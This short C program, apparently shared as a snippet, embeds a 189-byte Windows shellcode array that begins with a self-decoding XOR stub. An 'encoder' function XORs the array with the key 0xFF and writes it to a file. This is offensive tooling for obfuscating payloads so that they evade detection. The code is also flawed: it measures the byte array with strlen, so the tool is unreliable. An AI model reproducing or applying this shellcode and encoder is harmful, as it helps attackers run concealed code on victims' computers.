1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| #include<stdio.h> #include<stdlib.h> #include<Windows.h> #include<string.h>
char SHELLCODE[189] = { 0x83, 0xC0, 0x14, 0x33, 0xC9, 0x8A, 0x1C, 0x08, 0x80, 0xF3, 0x44, 0x88, 0x1C, 0x08, 0x41, 0x80, 0xFB, 0x90, 0x75, 0xF1, 0xB8, 0x2C, 0x2E, 0x4E, 0x7C, 0x5A, 0x2C, 0x27, 0xCD, 0x95, 0x0B, 0x2C, 0x76, 0x30, 0xD5, 0x48, 0xCF, 0xB0, 0xC9, 0x3A, 0xB0, 0x77, 0x9F, 0xF3, 0x40, 0x6F, 0xA7, 0x22, 0xFF, 0x77, 0x76, 0x17, 0x2C, 0x31, 0x37, 0x21, 0x36, 0x10, 0x77, 0x96, 0x20, 0xCF, 0x1E, 0x74, 0xCF, 0x0F, 0x48, 0xCF, 0x0D, 0x58, 0xCF, 0x4D, 0xCF, 0x2D, 0x4C, 0xE9, 0x79, 0x2E, 0x4E, 0x7C, 0x5A, 0x31, 0x41, 0xD1, 0xBB, 0x13, 0xBC, 0xD1, 0x24, 0xCF, 0x01, 0x78, 0xCF, 0x08, 0x41, 0x3C, 0x47, 0x89, 0xCF, 0x1D, 0x64, 0x47, 0x99, 0x77, 0xBB, 0x03, 0xCF, 0x70, 0xFF, 0x47, 0xB1, 0xDD, 0x48, 0xFA, 0x42, 0x7E, 0x80, 0x30, 0x4C, 0x85, 0x8E, 0x43, 0x47, 0x94, 0x02, 0xAF, 0xB5, 0x7F, 0x10, 0x60, 0x58, 0x31, 0xA0, 0xCF, 0x1D, 0x60, 0x47, 0x99, 0x32, 0xCF, 0x78, 0x3F, 0xCF, 0x1D, 0x58, 0x47, 0x99, 0x47, 0x68, 0xFF, 0xD1, 0x1B, 0xEF, 0x13, 0x25, 0x79, 0x2E, 0x4E, 0x7F, 0x5A, 0x31, 0xED, 0x77, 0x9F, 0x17, 0x2C, 0x33, 0x21, 0x37, 0x30, 0x2C, 0x22, 0x25, 0x2D, 0x28, 0xCF, 0x80, 0x17, 0x14, 0x14, 0x17, 0xBB, 0x13, 0xB8, 0x17, 0xBB, 0x13, 0xBC, 0xD4 };
void encoder(char *input, unsigned char key) { int i = 0, len = 0; FILE *fp; unsigned char *output;
len = strlen(input); output = (unsigned char *)malloc(len + 1); if (!output) { printf("Error:Memory Allocation Failed\n"); exit(1); }
for (i = 0; i < len; i++) { output[i] = input[i] ^ key; }
if (!(fp = fopen("encode.txt", "wb"))) { printf("Error:File Not Found\n"); free(output); exit(1); }
fwrite(output, sizeof(unsigned char), len, fp); fclose(fp); free(output); }
int main() { encoder(SHELLCODE, 0xFF); return 0; }
|